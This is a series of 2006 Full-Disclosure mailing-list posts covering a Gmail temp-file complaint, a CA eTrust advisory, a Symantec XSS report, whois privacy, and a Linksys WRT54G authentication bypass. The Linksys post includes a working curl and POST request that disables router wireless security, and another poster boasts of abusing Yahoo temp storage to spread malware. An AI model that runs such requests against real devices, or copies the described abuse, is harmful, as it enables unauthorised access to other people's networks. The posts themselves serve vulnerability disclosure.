I'm reading your message in gmail and there is nothing in my temp folder... not that i'd expect there to be. Gmail can't just create files on your computer without your permission, it it can your settings are wrong or your browser is broken. In other words if your gmail mails are ending up in your temp folder your web browser is putting them there... what browser are you using BTW. I'm using firefox and it doesn't store my mails in the temp folder under my NT account. -sb On 8/4/06, 6ackpace [EMAIL PROTECTED] wrote: Hi All, Gmail stores mails in Temp folder for faster access.but i have observer it fails to remove mail from the temp files after the session is ended. any user who has access physical access to the system can read mail and contact information of the Gmail user. Discloses information which is private and confidential? thank you ratna ___ Full-Disclosure - We believe in it. Charter: http://lists.grok.org.uk/full-disclosure-charter.html Hosted and sponsored by Secunia - http://secunia.com/ ___ Full-Disclosure - We believe in it. Charter: http://lists.grok.org.uk/full-disclosure-charter.html Hosted and sponsored by Secunia - http://secunia.com/
Re: [Full-disclosure] Gmail emails issue
He means a temp folder on the gmail server.I verified an attachment being available even after being signed out.On 04/08/06, Stan Bubrouski [EMAIL PROTECTED] wrote:I'm reading your message in gmail and there is nothing in my temp folder... not that i'd expect there to be.Gmail can't just createfiles on your computer without your permission, it it can yoursettings are wrong or your browser is broken.In other words if yourgmail mails are ending up in your temp folder your web browser is putting them there...what browser are you using BTW.I'm usingfirefox and it doesn't store my mails in the temp folder under my NTaccount.-sbOn 8/4/06, 6ackpace [EMAIL PROTECTED] wrote: Hi All, Gmail stores mails in Temp folder for faster access.but i have observer it fails to remove mail from the temp files after the session is ended. any user who has access physical access to the system can read mail and contact information of the Gmail user. Discloses information which is private and confidential? thank you ratna ___ Full-Disclosure - We believe in it. Charter: http://lists.grok.org.uk/full-disclosure-charter.html Hosted and sponsored by Secunia - http://secunia.com/___ Full-Disclosure - We believe in it.Charter: http://lists.grok.org.uk/full-disclosure-charter.htmlHosted and sponsored by Secunia - http://secunia.com/ ___ Full-Disclosure - We believe in it. Charter: http://lists.grok.org.uk/full-disclosure-charter.html Hosted and sponsored by Secunia - http://secunia.com/
Re: [Full-disclosure] Gmail emails issue
if thats on the gmail server, then the same gmail servers /clusters hold all other information collateral .. that is CC#, Phones, names. pwds etc ...andwhen GHhealth comes out your blood type and if you want your SIN# too..!! So whats the big deal with the temp folder atthe server end being unflushed ? Bad practice or a secruity risk. temp folder on the gmail server. I verified an attachment being available even after being signed out .. and then my primary question would be .. how did you peek into the gserver cluster ?? could you share that info ?? or is this domain hosting your talking about ?? /pd On 8/4/06, Thomas Pollet [EMAIL PROTECTED] wrote: He means a temp folder on the gmail server.I verified an attachment being available even after being signed out. On 04/08/06, Stan Bubrouski [EMAIL PROTECTED] wrote: I'm reading your message in gmail and there is nothing in my temp folder... not that i'd expect there to be.Gmail can't just create files on your computer without your permission, it it can yoursettings are wrong or your browser is broken.In other words if yourgmail mails are ending up in your temp folder your web browser is putting them there...what browser are you using BTW.I'm using firefox and it doesn't store my mails in the temp folder under my NTaccount.-sbOn 8/4/06, 6ackpace [EMAIL PROTECTED] wrote: Hi All, Gmail stores mails in Temp folder for faster access.but i have observer it fails to remove mail from the temp files after the session is ended. any user who has access physical access to the system can read mail and contact information of the Gmail user. Discloses information which is private and confidential? thank you ratna ___ Full-Disclosure - We believe in it. Charter: http://lists.grok.org.uk/full-disclosure-charter.html Hosted and sponsored by Secunia - http://secunia.com/ ___ Full-Disclosure - We believe in it.Charter: http://lists.grok.org.uk/full-disclosure-charter.htmlHosted and sponsored by Secunia - http://secunia.com/ ___Full-Disclosure - We believe in it.Charter: http://lists.grok.org.uk/full-disclosure-charter.htmlHosted and sponsored by Secunia - http://secunia.com/ -- http://peterdawson.typepad.comPeterDawson Home of ThoughtFlickr's This message is printed on Recycled Electrons. ___ Full-Disclosure - We believe in it. Charter: http://lists.grok.org.uk/full-disclosure-charter.html Hosted and sponsored by Secunia - http://secunia.com/
[Full-disclosure] CAID 34509 - CA eTrust Antivirus WebScan vulnerabilities
Title: CA eTrust Antivirus WebScan vulnerabilities CA Vulnerability ID (CAID): 34509 CA Advisory Date: 2006-08-03 Discovered By: Matt Murphy of the TippingPoint Security Research Team Impact: Remote attacker can execute arbitrary code. Summary: Ca eTrust Antivirus WebScan is a free, web-based virus scanner that is located at http://www3.ca.com/securityadvisor/virusinfo/scan.aspx. CA eTrust Antivirus WebScan v1.1.0.1047 and earlier contains vulnerabilities that can allow a remote attacker to execute arbitrary code or compromise the integrity of the WebScan software. The first vulnerability is due to a failure to properly validate parameters. The second vulnerability is due to a buffer overflow in WebScan. Matt Murphy has identified multiple attack vectors that exploit these vulnerabilities. Mitigating Factors: Exploitation of these vulnerabilities is non-trivial. Severity: CA has given this vulnerability a Medium risk rating. Affected Products: CA eTrust Antivirus WebScan v1.1.0.1047 and earlier Affected platforms: Internet Explorer 4.0 or above on Microsoft Windows Status and Recommendation: CA eTrust Antivirus WebScan v1.1.0.1048 addresses all of the vulnerabilities. Visit http://www3.ca.com/securityadvisor/virusinfo/scan.aspx and allow Internet Explorer to install the new webscan.cab software. Note that the software is digitally signed by CA. Alternatively, you can simply remove an older, vulnerable object by using one of these two methods: a) Start Internet Explorer, and then select Tools Internet Options General tab. On the General tab, click on the Settings button in the Temporary Internet Files section. On the Settings dialog window, click on the button labeled View Objects and then right-click on the WScanCtl Class object and select the Remove option. b) Open an Explorer window and browse to system\downloaded program files. Then right-click on the WScanCtl Class object and select the Remove option. Determining if you are affected: Browse to the C:\WINDOWS\Downloaded Program Files or C:\WINNT\Downloaded Program Files folder and check the version number of the WScanCtl Class object. If the version number is less than 1,1,0,1048, you need to update the ActiveX control. Another way to determine if you are affected is to Start Internet Explorer, and then select Tools Internet Options General tab. On the General tab, click on the Settings button in the Temporary Internet Files section. On the Settings dialog window, click on the button labeled View Objects and then check the version of the WScanCtl Class object. If the version number is less than 1,1,0,1048, you need to update the ActiveX control. Note that v1.1.0.1045 is the last version that was widely distributed. References (URLs may wrap): CA SupportConnect: http://supportconnect.ca.com/ CAID: 34509 CAID Advisory link: http://www3.ca.com/securityadvisor/vulninfo/vuln.aspx?id=34509 ZDI, founded by 3Com and TippingPoint: http://www.zerodayinitiative.com/ CVE Reference: Pending http://cve.mitre.org/ OSVDB Reference: Pending http://osvdb.org/ Changelog for this advisory: v1.0 - Initial Release Customers who require additional information should contact CA Technical Support at http://supportconnect.ca.com. For technical questions or comments related to this advisory, please send email to [EMAIL PROTECTED], or contact me directly. If you discover a vulnerability in CA products, please report your findings to [EMAIL PROTECTED], or utilize our Submit a Vulnerability form. URL: http://www3.ca.com/securityadvisor/vulninfo/submit.aspx Regards, Ken Williams ; 0xE2941985 Director, CA Vulnerability Research CA, One Computer Associates Plaza. Islandia, NY 11749 Contact http://www3.ca.com/contact/ Legal Notice http://www3.ca.com/legal/ Privacy Policy http://www3.ca.com/privacy/ Copyright (c) 2006 CA. All rights reserved. ___ Full-Disclosure - We believe in it. Charter: http://lists.grok.org.uk/full-disclosure-charter.html Hosted and sponsored by Secunia - http://secunia.com/
[Full-disclosure] XSS vulnerability at Symantec.com #2
Hi! This is another XSS vulnerability at Symantec.com and there are like 40 more (!) Just curious, can guys at Symantec read log files? Example in my blog at http://www.securitylab.ru/blog/tecklord/165.php Have a nice day Valery ___ Full-Disclosure - We believe in it. Charter: http://lists.grok.org.uk/full-disclosure-charter.html Hosted and sponsored by Secunia - http://secunia.com/
Re: [Full-disclosure] Gmail emails issue
As I see it, the real issue is just how secure do you think email really is? If someone really wants to read that FW you sent to your mom, there are plenty ways for them to do this, especially if they have physical access to the computer you used. Computer Forensics can be quite interesting and with the right tools and know-how, it's really not that difficult to look at websites you've been to (even if you cleared your history), including web-mail pages. As far as Gmail retaining a copy on the server or not, it makes perfect since for them to store copies to allow for retransmission of the message in the case of an error, not to mention how your Sent Mail folder does in fact reside on their servers. Bottom line: Email is NOT a secure communications medium and should not be relied on as if it were. If the information you are sending/receiving is of a particularly sensitive nature, I would suggest you find some other medium, such as SSL with encryption. -John -- There is intelligence is in having all the answers, but wisdom lies in knowing which of the questions to answer. ___ Full-Disclosure - We believe in it. Charter: http://lists.grok.org.uk/full-disclosure-charter.html Hosted and sponsored by Secunia - http://secunia.com/
Re: [Full-disclosure] XSS vulnerability at Symantec.com #2
ok, but want do you want to do with a stolen session on symantec ? get free AV ? fred Valery Marchuk wrote: Hi! This is another XSS vulnerability at Symantec.com and there are like 40 more (!) Just curious, can guys at Symantec read log files? Example in my blog at http://www.securitylab.ru/blog/tecklord/165.php Have a nice day Valery ___ Full-Disclosure - We believe in it. Charter: http://lists.grok.org.uk/full-disclosure-charter.html ___ Full-Disclosure - We believe in it. Charter: http://lists.grok.org.uk/full-disclosure-charter.html Hosted and sponsored by Secunia - http://secunia.com/
Re: [Full-disclosure] XSS vulnerability at Symantec.com #2
ok, but want do you want to do with a stolen session on symantec ? get free AV ? Are you really known that it can be used only for stolen session? XSS may use for fishing, farming, XSS proxy and other.. Can we trust security company, which can not protect your corporate Web site? ___ Full-Disclosure - We believe in it. Charter: http://lists.grok.org.uk/full-disclosure-charter.html Hosted and sponsored by Secunia - http://secunia.com/
Re: [Full-disclosure] Gmail emails issue
On 8/4/06, Peter Dawson [EMAIL PROTECTED] wrote: if thats on the gmail server, then the same gmail servers /clusters hold all other information collateral .. that is CC#, Phones, names. pwds etc ...andwhen GHhealth comes out your blood type and if you want your SIN# too..!! So whats the big deal with the temp folder atthe server end being unflushed ? Bad practice or a secruity risk. temp folder on the gmail server. I verified an attachment being available even after being signed out .. and then my primary question would be .. how did you peek into the gserver cluster ?? could you share that info ?? or is this domain hosting your talking about ?? /pd On 8/4/06, Thomas Pollet [EMAIL PROTECTED] wrote: He means a temp folder on the gmail server.I verified an attachment being available even after being signed out. On 04/08/06, Stan Bubrouski [EMAIL PROTECTED] wrote: I'm reading your message in gmail and there is nothing in my temp folder... not that i'd expect there to be.Gmail can't just create files on your computer without your permission, it it can yoursettings are wrong or your browser is broken.In other words if yourgmail mails are ending up in your temp folder your web browser is putting them there...what browser are you using BTW.I'm using firefox and it doesn't store my mails in the temp folder under my NTaccount.-sbOn 8/4/06, 6ackpace [EMAIL PROTECTED] wrote: Hi All, Gmail stores mails in Temp folder for faster access.but i have observer it fails to remove mail from the temp files after the session is ended. any user who has access physical access to the system can read mail and contact information of the Gmail user. Discloses information which is private and confidential? thank you ratna ___ Full-Disclosure - We believe in it. Charter: http://lists.grok.org.uk/full-disclosure-charter.html Hosted and sponsored by Secunia - http://secunia.com/ ___ Full-Disclosure - We believe in it.Charter: http://lists.grok.org.uk/full-disclosure-charter.htmlHosted and sponsored by Secunia - http://secunia.com/ ___Full-Disclosure - We believe in it.Charter: http://lists.grok.org.uk/full-disclosure-charter.htmlHosted and sponsored by Secunia - http://secunia.com/ -- http://peterdawson.typepad.comPeterDawson Home of ThoughtFlickr's This message is printed on Recycled Electrons. ___Full-Disclosure - We believe in it.Charter: http://lists.grok.org.uk/full-disclosure-charter.htmlHosted and sponsored by Secunia - http://secunia.com/ The same happens on Yahoo Messenger file share. If the client cannot connect peer to peer then the file being sent will be stored on the server as a temp file. The Yahoo system cannot verify that the file has been successfully downloaded by the intended party, so the file is left on the server, until Yahoo decides to expire the file. What folks were doing is linking the temp files to victims (via any chat or e-mail), the file extension could be anything, so the malicious file was being used in virus and phishing runs. The hacker would keep rotating the temp file storage system, everytime the file expired (which can be hours at a time, enough time to infect and phish your way through thousands of hosts), therefore you have continued storage of virus and phishing on the Yahoo servers, undetected. The Yahoo virus and phishing detection system trusts ' yahoo.com', so it isn't stored on their anti-spam url collection system, and even if it did, the unique temp file URL is changing every rotation, everytime the temp file expires, so the URL is always changing its character, so stayed trusted and stealth. This was being exploited by my connections three or so years ago, although, yahoo was contacted in private, I think it was treated as a non-issue. Lolz. Can someone check0r it out and tell me it can still be exploited today? :) I'll need to check0r it out too. Thats Yahoo for you. Sorry to poison a Gmail thread with this, but it just reminded me of what we exploit on Yahoo :) haw haw haw... keep hax0ring peeps. I grew up with the vulnerability in my teen years, it was so common place, no one thought to report it, but eventually I stopped using Yahoo Messenger temp file storage for when we blocked the peer to peer via our programs, but yeah, I forgot to check if they patched it. Many good lucks and researchingI expect someone with a formal advisory to be posting what i'm talking about in the coming dazepeace out for now my homies. Long live server side temp file storage on Yahoo, it rocks vxers socks. Shouts to [EMAIL PROTECTED] who was the security engineer at the time I reported it to him, so the buck stops at him, I believe the buck should stop with someone in YAHOO, and should not get away with sloppy security. [EMAIL PROTECTED] is still off the hook for the Yahoo Finance
[Full-disclosure] Re: Gmail emails issue
On Fri, 4 Aug 2006 11:45:01 -0500 John Dietz wrote: if it were. If the information you are sending/receiving is of a particularly sensitive nature, I would suggest you find some other medium, such as SSL with encryption. If the information is of sensitive nature, it is compulsory to use end-to-end encryption as with S/MIME. It's not enought to rely on transport encryption which is broken up somewhere as with SMTP+TLS and POP3S/IMAPS. Denis ___ Full-Disclosure - We believe in it. Charter: http://lists.grok.org.uk/full-disclosure-charter.html Hosted and sponsored by Secunia - http://secunia.com/
Re: [Full-disclosure] Re: Gmail emails issue
2006/8/5, Denis Jedig [EMAIL PROTECTED]: On Fri, 4 Aug 2006 11:45:01 -0500 John Dietz wrote: if it were.If the information you are sending/receiving is of a particularly sensitive nature, I would suggest you find some other medium, such as SSL with encryption. Even connections with SSL can be dumped, analysed by providers and successfully decrypted in some cases such as if only the destination server has its own sertificate, but user doesn't. ___ Full-Disclosure - We believe in it. Charter: http://lists.grok.org.uk/full-disclosure-charter.html Hosted and sponsored by Secunia - http://secunia.com/
Re: [Full-disclosure] Re: Gmail emails issue
Yes, I realize SSL is not that secure either, but I was just using it as an example in comparison to plain ole pure-text email. The point I was making is not to assume your emails are in any way private/secure. You must use something else if you want any kind of secure communications medium. There are plenty of solutions out there with varying levels of security, but I had no intent on going through these and comparing them all. On 8/4/06, L. Victor [EMAIL PROTECTED] wrote: 2006/8/5, Denis Jedig [EMAIL PROTECTED]: On Fri, 4 Aug 2006 11:45:01 -0500 John Dietz wrote: if it were.If the information you are sending/receiving is of a particularly sensitive nature, I would suggest you find some other medium, such as SSL with encryption. Even connections with SSL can be dumped, analysed by providers and successfully decrypted in some cases such as if only the destination server has its own sertificate, but user doesn't. -- There is intelligence is in having all the answers, but wisdom lies in knowing which of the questions to answer. ___ Full-Disclosure - We believe in it. Charter: http://lists.grok.org.uk/full-disclosure-charter.html Hosted and sponsored by Secunia - http://secunia.com/
Re: [Full-disclosure] ProtectFly/RegisterFly - Whois information - Non-Disclosure legal??
Yes having a private registration is legal at least in the US. Godaddy also does it. They charge extra for it. People do this so spam bots will not harvest their email on their domain registration. I personally don't think it is a good idea unless someone wants to do something wrong with the domain but that is just my opinion. If the people who own those domains are doing something wrong like spamming your blog I think you can contact the registrar and tell them. They should either give you the contact information or do something about the domain owner themselves. I know Godaddy would probably be helpful because they are a pretty good company but don't know about these companies since I don't deal with them myself. Regards, Nancy Kramer Webmaster http://www.americandreamcars.com Free Color Picture Ads for Collector Cars One of the Ten Best Places To Buy or Sell a Collector Car on the Web At 09:21 AM 8/4/2006, Dan B wrote: Hi, I recently noticed some spam comments to my blog. Upon looking at the link they were linking back to it is an aggregation of various people RSS from their blogs. Upon examining the domains and their whois info they all appear to be registered with ProtectFly. Their whois information does not give out the contact details of the domain owner. Some random looking email address, that I guess might forward back to the real owner. Is this non-disclosure of the contact details legal? Am I missing some method to find the correct info? Example:- [EMAIL PROTECTED] ~ $ whois nags-head-real-estate.info Domain ID:D13743171-LRMS Domain Name:NAGS-HEAD-REAL-ESTATE.INFO Created On:10-Jun-2006 02:42:27 UTC Last Updated On:22-Jun-2006 07:15:54 UTC Expiration Date:10-Jun-2007 02:42:27 UTC Sponsoring Registrar:RegisterFly.com, Inc. (R318-LRMS) Status:CLIENT TRANSFER PROHIBITED Status:CLIENT UPDATE PROHIBITED Status:TRANSFER PROHIBITED Registrant ID:tuxfIgCP2SraElSj Registrant Name:Whois Protection Service - ProtectFly.com Registrant Organization:RegisterFly.com - Ref-R# 37871268 Registrant Street1:404 Main Street Registrant Street2:4th Floor Registrant Street3: Registrant City:Boonton Registrant State/Province:NJ Registrant Postal Code:07005 Registrant Country:US Registrant Phone:+1.9737362545 Registrant Phone Ext.: Registrant FAX:+1.9737361355 Registrant FAX Ext.: Registrant Email:[EMAIL PROTECTED] Admin ID:tu0yrgMvIcEJ2aIH Admin Name:Whois Protection Service - ProtectFly.com Admin Organization:RegisterFly.com - Ref-A# 37871268 Admin Street1:404 Main Street Admin Street2:4th Floor Admin Street3: Admin City:Boonton Admin State/Province:NJ Admin Postal Code:07005 Admin Country:US Admin Phone:+1.9737362545 Admin Phone Ext.: Admin FAX:+1.9737361355 Admin FAX Ext.: Admin Email:[EMAIL PROTECTED] Billing ID:tuI0AzeEf97LKzMo Billing Name:Whois Protection Service - ProtectFly.com Billing Organization:RegisterFly.com - Ref-B# 37871268 Billing Street1:404 Main Street Billing Street2:4th Floor Billing Street3: Billing City:Boonton Billing State/Province:NJ Billing Postal Code:07005 Billing Country:US Billing Phone:+1.9737362545 Billing Phone Ext.: Billing FAX:+1.9737361355 Billing FAX Ext.: Billing Email:[EMAIL PROTECTED] Tech ID:tuTOQTTrtOUs5GAS Tech Name:Whois Protection Service - ProtectFly.com Tech Organization:RegisterFly.com - Ref-T# 37871268 Tech Street1:404 Main Street Tech Street2:4th Floor Tech Street3: Tech City:Boonton Tech State/Province:NJ Tech Postal Code:07005 Tech Country:US Tech Phone:+1.9737362545 Tech Phone Ext.: Tech FAX:+1.9737361355 Tech FAX Ext.: Tech Email:[EMAIL PROTECTED] Name Server:DNS1.REGISTERFLY.COM Name Server:DNS2.REGISTERFLY.COM Cheers, DanB. ___ Full-Disclosure - We believe in it. Charter: http://lists.grok.org.uk/full-disclosure-charter.html Hosted and sponsored by Secunia - http://secunia.com/ -- No virus found in this incoming message. Checked by AVG Anti-Virus. Version: 7.1.394 / Virus Database: 268.10.5/405 - Release Date: 8/1/2006 -- No virus found in this outgoing message. Checked by AVG Anti-Virus. Version: 7.1.394 / Virus Database: 268.10.5/405 - Release Date: 8/1/2006 ___ Full-Disclosure - We believe in it. Charter: http://lists.grok.org.uk/full-disclosure-charter.html Hosted and sponsored by Secunia - http://secunia.com/
Re: [Full-disclosure] Re: Gmail emails issue
FWIW-- All replies [less one], on this thread was seeded thru a gmail account :)- go figure.. thread titled Gmail emails issue !!! On 8/4/06, John Dietz [EMAIL PROTECTED] wrote: Yes, I realize SSL is not that secure either, but I was just using it as an example in comparison to plain ole pure-text email. The point I was making is not to assume your emails are in any way private/secure. You must use something else if you want any kind of secure communications medium. There are plenty of solutions out there with varying levels of security, but I had no intent on going through these and comparing them all. On 8/4/06, L. Victor [EMAIL PROTECTED] wrote: 2006/8/5, Denis Jedig [EMAIL PROTECTED]: On Fri, 4 Aug 2006 11:45:01 -0500 John Dietz wrote: if it were.If the information you are sending/receiving is of a particularly sensitive nature, I would suggest you find some other medium, such as SSL with encryption. Even connections with SSL can be dumped, analysed by providers and successfully decrypted in some cases such as if only the destination server has its own sertificate, but user doesn't. -- There is intelligence is in having all the answers, but wisdom lies in knowing which of the questions to answer. ___ Full-Disclosure - We believe in it.Charter: http://lists.grok.org.uk/full-disclosure-charter.html Hosted and sponsored by Secunia - http://secunia.com/-- http://peterdawson.typepad.comPeterDawson Home of ThoughtFlickr's This message is printed on Recycled Electrons. ___ Full-Disclosure - We believe in it. Charter: http://lists.grok.org.uk/full-disclosure-charter.html Hosted and sponsored by Secunia - http://secunia.com/
Re: [Full-disclosure] ProtectFly/RegisterFly - Whois information - Non-Disclosure legal??
is not registration by proxy an accepatable practice by Registers ? If harvesting is being done and malious activites [spam and whatever] then just contact the register admin and let them know.. On 8/4/06, Nancy Kramer [EMAIL PROTECTED] wrote: Yes having a private registration is legal at least in the US.Godaddyalso does it.They charge extra for it. People do this so spam bots will not harvest their email on their domainregistration.I personally don't think it is a good idea unless someonewants to do something wrong with the domain but that is just my opinion. If the people who own those domains are doing something wrong like spammingyour blog I think you can contact the registrar and tell them.They shouldeither give you the contact information or do something about the domain owner themselves.I know Godaddy would probably be helpful because theyare a pretty good company but don't know about these companies since Idon't deal with them myself.Regards,Nancy Kramer Webmaster http://www.americandreamcars.comFree Color Picture Ads for Collector CarsOne of the Ten Best Places To Buy or Sell a Collector Car on the Web At 09:21 AM 8/4/2006, Dan B wrote:Hi,I recently noticed some spam comments to my blog. Upon looking at thelink they were linking back to it is an aggregation of various peopleRSS from their blogs. Upon examining the domains and their whois info they all appear to beregistered with ProtectFly. Their whois information does not give outthe contact details of the domain owner. Some random looking email address, that I guess might forward back to the real owner.Is this non-disclosure of the contact details legal?Am I missing some method to find the correct info?Example:- [EMAIL PROTECTED] ~ $ whois nags-head-real-estate.infoDomain ID:D13743171-LRMSDomain Name:NAGS-HEAD-REAL-ESTATE.INFO Created On:10-Jun-2006 02:42:27 UTCLast Updated On:22-Jun-2006 07:15:54 UTCExpiration Date:10-Jun-2007 02:42:27 UTCSponsoring Registrar:RegisterFly.com, Inc. (R318-LRMS)Status:CLIENT TRANSFER PROHIBITED Status:CLIENT UPDATE PROHIBITEDStatus:TRANSFER PROHIBITEDRegistrant ID:tuxfIgCP2SraElSjRegistrant Name:Whois Protection Service - ProtectFly.comRegistrant Organization:RegisterFly.com - Ref-R# 37871268Registrant Street1:404 Main StreetRegistrant Street2:4th FloorRegistrant Street3:Registrant City:BoontonRegistrant State/Province:NJRegistrant Postal Code:07005 Registrant Country:USRegistrant Phone:+1.9737362545Registrant Phone Ext.:Registrant FAX:+1.9737361355Registrant FAX Ext.:Registrant Email:[EMAIL PROTECTED]Admin ID:tu0yrgMvIcEJ2aIHAdmin Name:Whois Protection Service - ProtectFly.comAdmin Organization:RegisterFly.com - Ref-A# 37871268Admin Street1:404 Main Street Admin Street2:4th FloorAdmin Street3:Admin City:BoontonAdmin State/Province:NJAdmin Postal Code:07005Admin Country:USAdmin Phone:+1.9737362545Admin Phone Ext.: Admin FAX:+1.9737361355Admin FAX Ext.:Admin Email:[EMAIL PROTECTED]Billing ID:tuI0AzeEf97LKzMoBilling Name:Whois Protection Service - ProtectFly.comBilling Organization:RegisterFly.com - Ref-B# 37871268Billing Street1:404 Main StreetBilling Street2:4th FloorBilling Street3:Billing City:BoontonBilling State/Province:NJ Billing Postal Code:07005Billing Country:USBilling Phone:+1.9737362545Billing Phone Ext.:Billing FAX:+1.9737361355Billing FAX Ext.:Billing Email:[EMAIL PROTECTED]Tech ID:tuTOQTTrtOUs5GASTech Name:Whois Protection Service - ProtectFly.comTech Organization:RegisterFly.com - Ref-T# 37871268Tech Street1:404 Main Street Tech Street2:4th FloorTech Street3:Tech City:BoontonTech State/Province:NJTech Postal Code:07005Tech Country:USTech Phone:+1.9737362545Tech Phone Ext.:Tech FAX:+1.9737361355 Tech FAX Ext.:Tech Email:[EMAIL PROTECTED]Name Server:DNS1.REGISTERFLY.COMName Server: DNS2.REGISTERFLY.COMCheers,DanB.___Full-Disclosure - We believe in it.Charter: http://lists.grok.org.uk/full-disclosure-charter.htmlHosted and sponsored by Secunia - http://secunia.com/ --No virus found in this incoming message.Checked by AVG Anti-Virus.Version: 7.1.394 / Virus Database: 268.10.5/405 - Release Date: 8/1/2006-- No virus found in this outgoing message.Checked by AVG Anti-Virus.Version: 7.1.394 / Virus Database: 268.10.5/405 - Release Date: 8/1/2006___Full-Disclosure - We believe in it. Charter: http://lists.grok.org.uk/full-disclosure-charter.htmlHosted and sponsored by Secunia - http://secunia.com/ -- http://peterdawson.typepad.comPeterDawson Home of ThoughtFlickr's This message is printed on Recycled Electrons. ___ Full-Disclosure - We believe in it. Charter: http://lists.grok.org.uk/full-disclosure-charter.html Hosted and sponsored by Secunia - http://secunia.com/
Re: [Full-disclosure] linksys WRT54g authentication bypass
Nice find. But probably not a big deal since these are just home-use routers, right? Well, maybe not. 1. Sandia nuclear plant scada network recommended gear doc (October, 2005): http://www.sandia.gov/scada/documents/NSTB_NSIT_V1_2.pdf You'll see when you read the doc that the crux of the testing was to get the SCADA protocols through a couple of PIXs...that didn't work b/c of NAT problems, so they threw in a couple Linksys routers to handle the NAT. OK, so a PIX and Linksys scada deployment is bad, right? Well it gets worse. Look on page 6 of the PDF and you'll see this: The Pix firewalls were upgraded to the latest PixOS (6.3). They were not identical in that one had a crypto card and license while the other was in a stock configuration. The two Linksys firewalls were a BEFVP41 v1 with firmware version 1.41.1 and a BEFVP41 v2 with firmware version 1.01.04. Both of those versions of Linksys router software had known, published vulnerabilities at the time this document was published. http://nvd.nist.gov/nvd.cfm?cvename=CVE-2002-0426 http://nvd.nist.gov/nvd.cfm?cvename=CVE-2002-1312 2. EPA Water and Wastewater Security Product Guide located at http://cfpub.epa.gov/safewater/watersecurity/guide/productguide.cfm?page=wirelessdatacommunications This EPA Water and Wastewater Security Product Guide has a picture of a Linksys WRT54G AP on the page. The network diagram illustrates the Linksys AP connected directly into the SCADA management network. At the bottom of the page you'll see the following statement: Cost The cost of a wireless LAN using 802.11 can be under $50 each for a WAP and a wireless card. A small system can be securely set up in a few hours by a knowledgeable computer technician. Gee, didn't the EPA get GAO's A+ rating in the CyberSecurity Report Card? Perhaps they got the A+ because they simply have a product security guide webpage? 3. California Energy Commission report Focus II Monitoring Final Report mentions a Linksys router used in monitoring operations – see appendix, page E-3. http://www.energy.ca.gov/2005publications/CEC-500-2005-009/CEC-500-05-009.PDF There's plenty more...left as an exercise to the reader. Btw, can anyone here find on Linksys.com a list of product vulns and fixes? Thanks, --scm On 8/4/06, Ginsu Rabbit [EMAIL PROTECTED] wrote: I'm having some trouble believing this hasn't been reported before. If you have a linksys router handy, please check to see whether it is vulnerable to this attack. It's possible that all of the linksys router web UIs have the same bug. Hopefully the problem is isolated to one particular model or firmware revision. I. DESCRIPTION Tested product: Linksys WRT54g home router, firmware revision 1.00.9. Problem #1: No password validation for configuration settings. The WRT54g does not attempt to verify a username and password when configuration settings are being changed. If you wish to read configuration settings, you must provide the administrator ID and password via HTTP basic authentication. No similar check is done for configuration changes. This request results in a user-id and password prompt: GET /wireless.htm This request disables wireless security on the router, with no password prompt: POST /Security.tri Content-Length: 24 SecurityMode=0layout=en Problem #2: Cross-site request forgery The web administration console does not verify that the request to change the router configuration is being made with the consent of the administrator. Any web site can force a browser to send a request to the linksys router, and the router will accept the request. II. Exploitation The combination of these two bugs means that any internet web site can change the configuration of your router. Recently published techniques for port-scanning and web server finger printing via java and javascript make this even easier. The attack scenario is as follows: - intranet user visits a malicious web site - malicious web site returns specially crafted HTML page - intranet user's browser automatically sends a request to the router that enables the remote administration interface - the owner of the malicious web site now has complete access to your router I'm not going to share the specially crafted HTML page at this time, but it isn't all that special. III. DETECTION If your router is vulnerable, the following curl command will disable wireless security on your router. Tests for other router models and firmware revisions may be different: curl -d SecurityMode=0layout=en http://192.168.0.1/Security.tri IV. MITIGATION 1) Make sure you've disabled the remote administration feature of your router. If you have this feature enabled, anybody on the internet can take control of the router. 2) Change the IP address of the router to a random value, preferably in the range assigned to private networks. For example, change the IP address to 10.x.y.z, where x, y, and z are numbers between 0 and 255 inclusive. This makes it more
Re: [Full-disclosure] Gmail emails issue
On 8/4/06, Stan Bubrouski [EMAIL PROTECTED] wrote: I'm reading your message in gmail and there is nothing in my tempfolder... not that i'd expect there to be.Gmail can't just create files on your computer without your permission, it it can yoursettings are wrong or your browser is broken.In other words if yourgmail mails are ending up in your temp folder your web browser isputting them there...what browser are you using BTW.I'm using firefox and it doesn't store my mails in the temp folder under my NTaccount.-sb You're wrong there, lets look at Yahoo Messenger: yupdater.exe The above little executable stays in the default Yahoo Messenger directory and can modify any files within that directory and sub-directories, the yupdater.exe can create and delete any file in those directories, and has the power to create new files and folders on the command of Yahoo. At no time is there notification by Yahoo to the end-user. I've witnessed when Yahoo were testing their backend anti-spam system, that blank folders were appearing within the default Yahoo Messenger directory. If an attacker can hack Yahoo and control everyones yupdater.exe then Yahoo will turn into a very dark place. Here is another executable that does discrete little directory updates to your system without end-user interaction or notification: YServer.exe We tried to protest what Yahoo was doing other the years in private, and even thought at one point about putting out trojan horses and viruses under the same file names so Symantec etc would flag them as malware, although we didn't So yeah, Yahoo have the ability to and do infact modify your system without permission :) This is done randomly at Yahoo's own discretion and is seperate from legitmate announced Yahoo Messenger updates :) Its about time Yahoo came clean about yupdater.exe and YServer.exe instead of anonymously sending commands to operating systems, to modify, delete and create files and (or) folders without anyone knowing. No one is saying Yahoo is doing anything evil, but what if an accident happened? Yahoo would get its ass kicked No one can say what unexpected modifications to folder and files might do to individual end-user systems. Yahoo, sort yourselves out. Foul play ___ Full-Disclosure - We believe in it. Charter: http://lists.grok.org.uk/full-disclosure-charter.html Hosted and sponsored by Secunia - http://secunia.com/
Re: [Full-disclosure] Gmail emails issue
==You're wrong there, lets look at Yahoo Messenger Dude, screw yahoo..who cares !! Everyone here, is posting using gmail , includingyourself !! On 8/4/06, n3td3v [EMAIL PROTECTED] wrote: On 8/4/06, Stan Bubrouski [EMAIL PROTECTED] wrote: I'm reading your message in gmail and there is nothing in my tempfolder... not that i'd expect there to be.Gmail can't just create files on your computer without your permission, it it can yoursettings are wrong or your browser is broken.In other words if yourgmail mails are ending up in your temp folder your web browser isputting them there...what browser are you using BTW.I'm using firefox and it doesn't store my mails in the temp folder under my NTaccount.-sb You're wrong there, lets look at Yahoo Messenger: yupdater.exe The above little executable stays in the default Yahoo Messenger directory and can modify any files within that directory and sub-directories, the yupdater.exe can create and delete any file in those directories, and has the power to create new files and folders on the command of Yahoo. At no time is there notification by Yahoo to the end-user. I've witnessed when Yahoo were testing their backend anti-spam system, that blank folders were appearing within the default Yahoo Messenger directory. If an attacker can hack Yahoo and control everyones yupdater.exe then Yahoo will turn into a very dark place. Here is another executable that does discrete little directory updates to your system without end-user interaction or notification: YServer.exe We 